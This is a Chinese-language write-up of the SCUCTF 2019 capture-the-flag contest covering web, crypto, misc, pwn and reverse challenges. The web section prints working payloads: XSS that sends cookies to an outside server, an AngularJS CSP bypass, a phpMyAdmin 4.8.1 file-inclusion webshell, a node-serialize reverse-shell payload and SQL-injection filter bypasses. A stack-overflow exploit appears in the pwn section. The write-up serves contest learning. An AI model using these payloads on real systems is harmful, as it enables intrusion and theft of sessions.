2019年 SCUCTF WriteUp


目录

00x00 Web-更难的XSS. 1

00x01 Web-稍难一些的XSS. 2

00x02 Web-艾迪魔力转圈圈... 3

00x03 Web-你好呀... 4

00x04 Web-来了老弟... 6

00x05 Web-简单的XSS. 7

00x06 Web-babysqli 7

00x07 Crypto-audio. 10

00x08 Crypto-佛说,让你签个到... 11

00x09 Crypto-512位RSA.. 11

00x10 Crypto-X 计划... 13

00x11 Misc-find others. 14

00x12 Misc-协会最强的人是谁... 14

00x13 Misc-藏在最下面的flag. 16

00x14 Misc-流量分析... 16

00x15 Misc-婉姐姐的内存镜像... 17

00x16 Misc-stream... 19

00x17 PWN-babystuck. 21

00x18 PWN-login. 22

00x19 Reverse-showme666. 23

00x20 Reverse-babyre. 29

 

00x00 Web-更难的XSS

http://120.78.185.175:5000/hachp1/pintu/index.php?name=hachp1&ft_id=0

同类型题目链接:https://paper.seebug.org/574/

打开链接查看源代码,发现两个参数name和ft_id分别传入了页面中的一个hidden表单,以及页面底部的一段js脚本,其中ft_id用于控制在name_links里面的下标号,且有XSS过滤器进行过滤,无法直接注入

由于页面存在nouce,无法直接写入Script脚本,也无法引入外部JS脚本,因此只能在底部的一段自带nouce的js中寻找线索,这段js引用了name_links,因此覆盖该变量成为我们的首要攻击目标

由于定义name_links的脚本就在我们的第一个注入点下方,我们直接在后方注入一个<script>标签,浏览器会自动将其与后面的</script>匹配,中间的所有内容都会被当作脚本而拒绝运行,因此成功解除了name_links的定义

接下来我们需要重新定义这个变量来重写它的内容,由于我们可以通过ft_id控制下标,因此我们可以利用HTML DOM来生成一个对象,因此插入<form name=”name_links” id=”<script>alert(0);</script>”></form>,再将ft_id传值为id,我们的shellcode就被执行了

再根据我们可以通过js进行跳转并在get请求中携带cookie,配合自己服务器端的php脚本,得到flag:

Payload:

http://120.78.185.175:5000/hachp1/pintu/index.php?name=1"><form name="name_links" id="<script>window.location.href='http://47.106.241.74/get.php?a='%2bdocument.cookie;</script>"></form><script>&ft_id=id

Flag

scuctf{1_l1k3_pl4Y1ng_w1th_4L1}

00x01 Web-稍难一些的XSS

http://120.78.185.175:5000/hachp1/

打开链接查看源代码,发现页面中存在明显且无过滤的注入点,但引入脚本后浏览器拒绝加载,查看Console的报错信息发现存在CSP限制,但有一些奇怪的是,CSP允许加载脚本的URL里面存在一个*.sinaapp.com域名,也就是如果我们的XSS平台存在于新浪的SAE上,就可以直接成功,但是在SAE平台新建应用发现,新的SAE应用已经不提供sinaapp.com域名,向客服提交工单索要域名无果,随即在Google上Site针对性寻找sinaapp.com上的XSS平台,除了已经下线的一些无效平台,只寻找到xsst.sinaapp.com这个练习平台,但是仔细研究后未发现能储存cookie的点,只得放弃

于是在Google上阅读大量绕过CSP的文章,发现在:

https://www.jianshu.com/p/f1de775bc43e中提到存在jQuery时,可以存在一个绕过CSP的漏洞,更凑巧的是,lib.sinaapp.com正好存在这个库,于是引入进行实验,但是反复尝试都没有成功

直到hint angular发出,正好sinaapp.com上也存在这个库,于是开始寻找angular的针对性CSP绕过漏洞,很快发现payload {{constructor.constructor('alert(1); ()}}可以实现代码执行,于是利用javascript跳转功能构造payload:

http://120.78.185.175:5000/hachp1/wuziqi/index.php?guest_name=Hello </h3> <script src="http://lib.sinaapp.com/js/angular.js/angular-1.0.6/angular.js"> </script> <body ng-app=""> <div> {{constructor.constructor('alert(1);window.location.href="http://47.106.241.74/get.php?a="%2bdocument.cookie')()}} </div> <h3>

在服务器上收到flag:

Flag

scuctf{Y0u_w0n_th3_G4m3}

00x02 Web-艾迪魔力转圈圈

打开比赛链接:http://47.110.93.156:45786/pma/,发现为一个phpmyadmin,很快发现scuctf账号的弱口令:123456,进入账号查看,发现该账号权限较低,可以创建数据库数据表,但是无权修改user表,可以获取root用户的密码hash,但是放到cmd5上查询无果,再利用select read_file()来读服务器文件,发现也无法读出任何文件,尝试失败

再尝试利用mysql日志进行提权,但是由于无权修改日志设置,也尝试失败

突然发现题目所用的phpmyadmin版本为4.8.1,而不是最新的4.8.5,这有可能是一个使用phpmyadmin漏洞进行文件读取的暗示,于是Google查找phpmyadmin 4.8.x 相关漏洞,找到:

http://shaobaobaoer.cn/archives/625/phpmyadmin-4.8.x-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E4%B8%8E%E5%A4%8D%E7%8E%B0

根据页面所述进行尝试,先登录并保存session,再运行查询语句:

select '<?php eval($_GET["dqy"]);exit;?>'

也就是构造一个一句话木马,在粘贴session到利用链接:

http://47.110.93.156:45786/pma/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_3to09295ateet2kc4ag1836juom1gi6g

往get请求中传入需要执行的命令即可,先是发现根目录下有一个fl444444g文件,再直接用system函数cat一下就可以得到flag:

http://47.110.93.156:45786/pma/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_3to09295ateet2kc4ag1836juom1gi6g&dqy=echo%20%22111%22;system(%22cat%20/fl444444g%22);

Flag

scuctf{Phpmy4dm1n_1s_n0t_s4t3} 

00x03 Web-你好呀

打开页面,查看源代码,发现提示app.js.bak

于是打开对应页面:http://47.96.138.65:12000/app.js.bak

发现一段疑似node.js的代码,疑似反序列化漏洞,由于不知道如何下手,直接百度一下那段最长的字符串:eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=

结果第一个答案就发现原题:

打开:https://www.anquanke.com/post/id/85504

但是这篇文章内容并没有给我很大帮助,但是至少知道了漏洞类型,直接继续百度,找到这篇文章:

https://paper.seebug.org/213/

根据这篇文章的指示,从GitHub上项目:

https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py

下载nodejsshell.py,再给这个脚本传入接收反弹式shell的ip地址和端口号,即可得到payload:

再给payload加上执行所必要的前后缀即可:

{"rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,52,55,46,49,48,54,46,50,52,49,46,55,52,34,59,10,80,79,82,84,61,34,56,56,56,56,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10)) }()"}

最后将payload base64编码后在burp中放到cookie里打过去,服务器就上线啦

拿到服务器权限后,直接ls再cat就可以读出flag:

Flag

scuctf{2602547F25B5C13D62F010230D917481}

00x04 Web-来了老弟

打开网页发现没有线索,于是用burp抓包,发现在index.php访问时,头中有一个set-cookie,直接拿到base64加密后的flag,然后再base64解码即可拿到flag

Flag

SCUCTF{y0U_jUs7_neEd_car3ful}

00x05 Web-简单的XSS

点开link1,发现是一个填入URL的文本框,结合XSS原理,可以猜测flag应该在服务器的cookie里,我们需要盗取服务器访问link2页面所携带的cookie

再看link2的源代码,发现一个及其简单的无任何过滤的注入点,直接在注入点中引入XSS平台的JS脚本,构造payload,再放到link1中访问即可

Flag

scustf{l0v3_15_s0_w4rm}

00x06 Web-babysqli

点开link发现需要一个id,输入发现id的范围在1-5。发现这是一个数据表,我们可以用联合查询但是发现被detected了,再更换成and,发现被detected发现的时候会打出and,而前面被detected的时候没有任何提示,推断前面被侦测的不是联合查询,而是空格

我们需要绕过空格,采用注释的方法使得空格不被侦测到,但在尝试继续注入时,发现group也会被侦测,于是利用limit语句来绕过

于是构造payload爆表名:

http://47.96.138.65:45787/?id=1/**/Union/**/select/**/2,2,2,table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1#

但是却提示:

id=1/**/Union/**/select/**/2,2,2,table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1# not in the whitelist,也就是输出端过滤了id号,如果最前面不是1-5,就拒绝输出

于是考虑利用加法绕过:

http://47.96.138.65:45787/?id=1%2b10/**/Union/**/select/**/2,2,2,table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1#

成功获得表名flag,下一步就是爆字段名:

http://47.96.138.65:45787/?id=1%2b10/**/Union/**/select/**/2,2,2,column_name/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167/**/limit/**/3,4#

发现有flag一个叫flag的字段,但是显然的,flag表的flag字段很容易被猜测,不可能是真正的flag,果然:

http://47.96.138.65:45787/?id=1%2b10/**/Union/**/select/**/2,2,2,column_name/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167/**/limit/**/1,2#

进一步发现字段fffffffl11lgg,这种又像flag又难以猜测的字段名必须是flag了,于是直接读取:

http://47.96.138.65:45787/?id=1%2b10/**/Union/**/select/**/2,2,2,fffffffl11lgg/**/from/**/flag/**/limit/**/1#

发现scuctf is not found,也就是输出的时候过滤了scuctf,那就利用mysql函数对fffffffl11lgg进行base64加密,进而得到flag。

http://47.96.138.65:45787/?id=1%2b10/**/Union/**/select/**/to_base64(fffffffl11lgg),2,2,2/**/from/**/flag/**/limit/**/1#

得出flag   c2N1Y3RmezNxMWlfaTNfdDBvX2U0M3l9 进行base64解密

Flag

scuctf{3q1i_i3_t0o_e43y}

00x07 Crypto-audio

用au打开音频文件,看音频线短线代表(.),长线代表(-)。中间的空格代表空格,然后用在线摩斯电码解码得到SCUCTFTHISISREALLYMENDOKUSAI,大写改小写,提交flag。

摩斯电码:... -.-. ..- -.-. - ..-. - .... .. ... .. ... .-. . .- .-.. .-.. -.-- -- . -. -.. --- -.- ..- ... .- ..

Flag

scuctf{thisisreallymendokusai}

00x08 Crypto-佛说,让你签个到

发现是佛论禅编码,利用在线解码工具解码。

Flag

scuctf{W31c0me_to_scUcTF2ol9}

00x09 Crypto-512位RSA

阅读脚本,并连接服务器尝试,发现服务器可以提供了RSA算法中的n,e,d;求p,q。百度搜索已知ned求pq有一个脚本,因为服务器需要在3秒内提交正确答案,编写一个与服务器通讯的脚本将得到的p+q再进行MD5加密发送给服务器,服务器就会返回flag。

脚本来源:

https://blog.csdn.net/kevin66654/article/details/54087647

from pwn import *

import random

import hashlib  

def gcd(a, b):

   if a < b:

     a, b = b, a

   while b != 0:

     temp = a % b

     a = b

     b = temp

   return a

def getpq(n,e,d):

       p = 1

       q = 1

       while p==1 and q==1:

              k = d * e - 1

              g = random.randint ( 0 , n )

              while p==1 and q==1 and k % 2 == 0:

                     k /= 2

                     y = pow(g,k,n)

                     if y!=1 and gcd(y-1,n)>1:

                            p = gcd(y-1,n)

                            q = n/p

       return p,q

def main():

       a=remote('47.96.138.65','11000')

       n=a.recvline()[4:]

       e=a.recvline()[4:]

       d=a.recvline()[4:]

       n=long(str(n),16)

       e=long(str(e),16)

       d=long(str(d),16)

       p,q = getpq(n,e,d)

       res=p+q

       res2=hashlib.md5(str(res))

       res3=res2.hexdigest()

       a.sendline(res3)

       print(a.recvline())

if __name__ == '__main__':

       main()

脚本运行后服务器反馈:

Flag

scuctf{89029f10df59cce5dcd812627d2a9964}

00x10 Crypto-X 计划

根据题意,即在未知密钥的情况下修改明文,且是修改明文的最后一部分

根据DES加密的原理,获得最后一段密文是通过明文异或前一段的密文,再经过加密函数得到密文

因此我们直接针对前一段密文进行攻击,即可实现修改明文的效果

我们将前一段密文进行修改,修改为前一段密文异或最后一段明文,再异或X的结果,此时解密后的最后一段密文本来就是前一段密文异或最后一段明文的结果,再异或X,就成功的成为了X,达到题目要求

from pwn import *

from binascii import *

a = remote('47.96.138.65',11001)

recv1 = a.recvline()

recv2 = a.recvline()

source = recv1[-18:]

source2 = list(source[8:16])

i = recv2[-51:-3]

bin_i = list(bytearray.fromhex(i))

for i in range(0,8):

    bin_i[i] = bin_i[i] ^ ord(source2[i])

    bin_i[i] = bin_i[i] ^ ord('X')

str_i=str(bytearray(bin_i))

res="0x"+b2a_hex(str_i)+"L"

a.sendline(res)

a.interactive()

运行后从服务器获得flag:

scuctf{b42a7bcd7c369784aa7c27bd689af21d}

Flag

scuctf{b42a7bcd7c369784aa7c27bd689af21d}

00x11 Misc-find others

将png文件用winhex打开,发现4个png 的结尾但是没有头,根据结尾的标志,补全其他的头。会得到四个图

用Photoshop将四个图拼接,并且用反色,最后扫描二维码得到flag。

Flag

scuctf{yOu_f1x_It_very_g00d}

00x12 Misc-协会最强的人是谁

下载Zip文件,用winhex打开里面的图,会发现里面有一段flag=的字眼,将其复制,明显的base64加密,base64解密后,会得到一个JS脚本

阅读脚本,发现脚本给出了DES加密后的flag,以及经过rot13加密后的DES密钥,首先还原DES密钥为abcdefgh,再解密flag即可

Flag

flag{1810fc7a8e865dd5}

00x13 Misc-藏在最下面的flag

用Stegsolve提取出图片R G B的0通道,再将顺序调整为BGR,发现提取的内容存在png头,于是导出出来,用Winhex修复一下文件头为png的文件头,把多余的删掉,再把多余尾部删掉,保存,会得到一个二维码的图片,手机扫描就可以得到flag。

Flag

scuctf{6ea6688cc99719eb4624eef718719215}

00x14 Misc-流量分析

下载题目文件用Wireshark打开,发现为USB流量,于是运行下面的命令提取出USB流量的数据部分:

E:\Program Files\Wireshark>tshark.exe -r example.pcapng -T fields -e usb.capdata >usba.txt

得到usba.txt

分析txt发现这很可能是一个键盘设备的数据包,于是在:

https://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html

找到键盘USB数据包的解密脚本:

mappings = { 0x04:"A",  0x05:"B",  0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G",  0x0B:"H", 0x0C:"I",  0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O",  0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5",  0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"n", 0x2a:"[DEL]",  0X2B:"    ", 0x2C:" ",  0x2D:"-", 0x2E:"=", 0x2F:"[",  0x30:"]",  0x31:"\\", 0x32:"~", 0x33:";",  0x34:"'", 0x36:",",  0x37:"." }

nums = []

keys = open('usbdata.txt')

for line in keys:

    if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':

         continue

    nums.append(int(line[6:8],16))

    # 00:00:xx:....

keys.close()

output = ""

for n in nums:

    if n == 0 :

        continue

    if n in mappings:

        output += mappings[n]

    else:

        output += '[unknown]'

print('output :n' + output)

直接执行该脚本,得到flag:

Flag

Scuctf{USBLIULIANGFENXI}

00x15 Misc-婉姐姐的内存镜像

下载发现为一个vmem文件,即一个Vmware的内存镜像文件,直接查询相关内容,发现教程:https://www.freebuf.com/column/152545.html

即使用Kali下自带的Volatility工具来进行内存分析

分析得到这个一个WinXP的内存镜像文件,又根据题目提示“刚刚复制了flag”,于是尝试读取剪贴板

volatility -f problem.vmem –profile=WinXPSP2x86 clipboard

但由于复制的flag太长,无法完全显示,Google后发现加上参数—verbose即可,故命令变为:

volatility -f problem.vmem –profile=WinXPSP2x86 clipboard –verbose

得到base64后的flag:

c2N1Y3RmJTdCZWMxMGE3YWQwODk2YzBlNTU2MmZiYmE2YTFjMTgwOGYlN0Q=

解密得到flag:

scuctf{ec10a7ad0896c0e5562fbba6a1c1808f}

00x16 Misc-stream

发现是一个rar文件,进行解压但是没有成功。

用winhex打开压缩包,发现头损坏,对头进行修复。Rar的头是52617221

对rar进行解压发现里面只有一个flag.txt文件,点开txt文件

发现并没有flag,在回去看winhex发现里面有STM:realflag.txt,说明真正的flag在这里。

百度搜索stm,发现可能是ntcf数据流隐藏,将解压后的文件用ntfcctreamseditor扫描,便可以得到flag。

Flag

scuctf{Th1s_A_s1mpl3_ADS}

00x17 PWN-babystuck

这个题非常简单,就是基础的栈溢出

利用IDA分析其代码,发现要获得shell,只需要简单的覆盖变量为14649 ^ 6666=9011即可,分析变量情况:

显然的应该填入16位无效数据,再填入9011即可,于是构造payload并打过去就好:

In [17]: 14649 ^ 6666

Out[17]: 9011

In [26]: payload='a'*16+p32(9011)

In [28]: a=remote('119.23.206.23','10001')

[x] Opening connection to 119.23.206.23 on port 10001

[x] Opening connection to 119.23.206.23 on port 10001: Trying 119.23.206.23

[+] Opening connection to 119.23.206.23 on port 10001: Done

In [29]: a.recvuntil("what\'s your name?\n")

Out[29]: " ____    ____     __  __  ____    ______  ____    \n/\\  _\\ /\\  _\\  /\\ \\/\\ \\/\\  _\\ /\\__  _\\/\\  _\\  \n\\ \\,\\L\\_\\ \\ \\/\\_\\\\ \\ \\ \\ \\ \\ \\/\\_\\/_/\\ \\/\\ \\ \\L\\_\\\n \\/_\\__ \\\\ \\ \\/_/_\\ \\ \\ \\ \\ \\ \\/_/_ \\ \\ \\ \\ \\  _\\/\n   /\\ \\L\\ \\ \\ \\L\\ \\\\ \\ \\_\\ \\ \\ \\L\\ \\ \\ \\ \\ \\ \\ \\/ \n   \\ \\____\\ \\____/ \\ \\_____\\ \\____/  \\ \\_\\ \\ \\_\\ \n    \\/_____/\\/___/   \\/_____/\\/___/    \\/_/  \\/_/ \n\nwelcome to SCUCTF2019\nwhat's your name?\n"

In [30]: a.sendline(payload)

In [31]: a.interactive()

[*] Switching to interactive mode

ls

babystack

bin

dev

flag

lib

lib32

lib64

run.sh

cat flag

scuctf{f3035665-6614-43c3-a3ad-1ca46242c0fd}

[*] Got EOF while reading in interactive

00x18 PWN-login

分析题目,发现flag可以直接进行爆破攻击,于是根据flag可能存在的字符,一位一位的进行爆破,脚本如下:

from pwn import *

lists = 'abcdefghijklmnoaqrstuvwxyzABCDEFGHIJKLMNOaQRSTUVWXYZ1234567890_+{}-!@~#$%^&*.<>='

flag = 'scuctf{'

while 1 :

    a = remote('119.23.206.23', 10002)

    a.sendline('flag')

    for i in lists:

        a.recvuntil('Your password')

        a.send(flag + i)

        rec = a.recvline()

        if "scuctf2019" in rec:

            print flag

            flag=flag+i

            if i == '}':

                print flag

                break

            break

a.interactive()

运行得到flag:

 scuctf{fa3256e7-3d65-4f37-b5fb-87923af1a7f2}

00x19 Reverse-showme666

将程序拖到IDA分析其主函数,发现前面几个函数都无效,最后一个才有效,于是直接复制出最后一个函数,利用C语言编译运行即可得到flag:

#include <stdio.h>

int main()

{

  int v0;

  int v1;

  int v2; // ST0C_4

  int v3; // ST0C_4

  int v4; // ST08_4

  int v5; // ST0C_4

  int v6; // ST08_4

  int v7; // [rsp+8h] [rbp-8h]

  int v8; // [rsp+8h] [rbp-8h]

  int i; // [rsp+8h] [rbp-8h]

  int j; // [rsp+8h] [rbp-8h]

  int v11; // [rsp+Ch] [rbp-4h]

  int v12; // [rsp+Ch] [rbp-4h]

  int v13;

  int v14;

  int v15;

  int v16;

unsigned char data[35] = {0x66, 0x00, 0x61, 0x00, 0x35, 0x00, 0x62, 0x00, 0x65, 0x00, 0x62, 0x00, 0x61, 0x00, 0x33, 0x00,  0x34, 0x00, 0x30, 0x00, 0x6C, 0x67, 0x32, 0x00, 0x37, 0x00, 0x36, 0x00, 0x39, 0x00, 0x38, 0x00, 0x7B, 0x00, 0x7D};

  v11 = 0;

  v7 = 0;

  while ( v11 != 1 )

  {

    putchar(data[14 * v11++]);

    do

    {

      while ( v7 <= 1 )

        putchar(data[20 * v11 - 8 * v7++]);

      v1 = v7 + 1;

      v2 = 3 * v11;

      putchar(data[2 * v2 + 12 + v1]);

      v2 *= 5;

      v8 = v1 - 1;

      putchar(data[2 * v2 + v8]);

      v12 = v2 / 3;

      while ( 1 )

      {

        while ( 1 )

        {

LABEL_12:

          if ( !v8 )

          {

            putchar(data[2 * v12]);

            v15 = v12 ^ 2;

            while ( 2 )

            {

              for ( i = 1; i <= 9; ++i )

                putchar(data[10 * (i % 2) + 3 + v15]);

              v13 = v15 + 1;

LABEL_44:

              putchar(data[v13 / 3]);

              if ( i == 10 )

              {

                v13 += 2 * v13 + 13;

                i = 19;

                goto LABEL_33;

              }

              if ( i == 2 )

              {

                i = v13-- + 2;

                goto LABEL_4;

              }

              if ( (unsigned int)(i - 22) <= 0xA )

              {

                v14 = v13 - 3;

                for ( j = i - v14; ; j = 8 )

                {

LABEL_58:

                  putchar(data[v14 + 1]);

                  v16 = v14 + 1;

                  if ( j == 11 )

                  {

                    v13 = (v16 + 14) / 2;

                    i = 11 * (v13 / 6);

                    goto LABEL_44;

                  }

                  if ( j != 13 )

                    break;

                  v12 = v16 + 8;

                  v8 = 2;

LABEL_51:

                  while ( 2 )

                  {

                    putchar(data[v12 - 10]);

                    if ( v8 == v12 )

                    {

                      v4 = v8 + 2;

                      v5 = v12 + 2;

                      putchar(data[v5 / 2 + v4 / 5]);

                      i = v4 / 2;

                      putchar(data[i / 5 + v5]);

                      v13 = v5 + i - 1 + v5;

                      while ( 1 )

                      {

LABEL_33:

                        putchar(data[v13 - 19]);

                        if ( i == 2 )

                        {

                          v3 = v13 + 1;

                          putchar(data[v3 / 2 - 3]);

                          v13 = v3 / 5 + 2;

                          i = 2;

                          goto LABEL_44;

                        }

                        if ( i <= 2 )

                          break;

                        if ( i == 10 )

                        {

                          v12 = v13 - 31;

                          v8 = 9;

                          goto LABEL_51;

                        }

                        if ( i != 19 )

                          goto LABEL_44;

                        i = 2;

                      }

                      if ( i == 1 )

                      {

                        v8 = 17;

                        v12 = v13 % 5 - 17 + v13;

LABEL_20:

                        putchar(data[v12 - v8 + 9]);

                        v12 += ~v8++;

                        continue;

                      }

                      goto LABEL_44;

                    }

                    break;

                  }

                  if ( v8 != 9 )

                  {

                    if ( v8 != 2 )

                      goto LABEL_12;

                    j = 2;

                    v16 = v12 - 18;

LABEL_64:

                    v6 = 9 * j;

                    putchar(data[v16 / 2 + v6 + v6 % 10]);

                    v11 = v16 + 1;

                    v7 = v6 % 10;

                    goto LABEL_21;

                  }

                  putchar(data[v12 - 16]);

                  v14 = v12 / 2;

                }

                if ( j == 8 )

                {

                  v15 = v16 + 1;

                  i = 7;

                  continue;

                }

                goto LABEL_64;

              }

              goto LABEL_4;

            }

          }

          if ( v8 == 2 )

            break;

          if ( v12 == 7 )

          {

            putchar(data[21 - v8]);

            v13 = 49;

            i = v8 / 3;

            goto LABEL_33;

          }

          if ( v8 != 3 )

            goto LABEL_20;

          putchar(data[2 * (v12 / 3)]);

          v13 = v12 / 3;

          i = 9;

          do

          {

            while ( 1 )

            {

              if ( v13 == 10 )

              {

                putchar(data[i + 8]);

                v14 = 9;

                j = i + 1;

                goto LABEL_58;

              }

              if ( v13 == 11 )

              {

                putchar(data[i / 7]);

                v13 = i-- - 11;

              }

LABEL_4:

              if ( i != 9 )

                break;

              putchar(data[v13 * v13 + 7]);

              v13 = v13 * v13 + 1;

              i = 10;

            }

          }

          while ( i != 13 );

          putchar(data[2 * v13 + 12]);

          v8 = 3;

          v12 = 3 * v13;

        }

        putchar(data[3 * v12 + 1]);

        v0 = v12 * v12;

        putchar(data[v0 - 15]);

        v11 = v0 - 15;

        v7 = 4;

        putchar(data[4]);

LABEL_21:

        if ( v7 != 4 )

          break;

        putchar(data[v11 + 6]);

        v12 = v11 - 3;

        v8 = 3;

      }

    }

    while ( v7 != 8 );

    putchar(data[2 * v11 + 32]);

  }

}

flag{4b54089e328eab73737373758825a0b40b5be6}

00x20 Reverse-babyre

这个题目比较简单,首先分析得到运算规则是前两位加起来刚好为第三位,可以利用动态调试获得相关的数据,再写Python脚本即可获得flag:

data1 = [ 0x71, 0x60, 0x70, 0x6B, 0x79, 0x73, 0x59, 0x0E, 0x68, 0xE6, 0xDA, 0x26, 0x17, 0x84, 0x44, 0x28, 0x20, 0x1F, 0x9D, 0x69, 0xC0, 0x53, 0x63, 0x45, 0x1D, 0x35, 0xD9, 0x1C, 0xE4, 0x78 ]

data2 = [ 0x02,0x03,0x05,0x08,0x0D,0x15,0x22,0x37,0x59,0x90,0xE9,0x79,0x62,0xDB,0x3D,0x18,0x55,0x6D,0xC2,0x2F,0xF1,0x20,0x11,0x31,0x42,0x73,0xB5,0x28,0xDD,0x05 ]

for i in range(30):

    res=data1[i]^data2[i]

print(chr(res),end='')

运行脚本得到flag:

scuctf{91v3_u_y0ur_F1srt_Fl49}


一如既往 万事胜意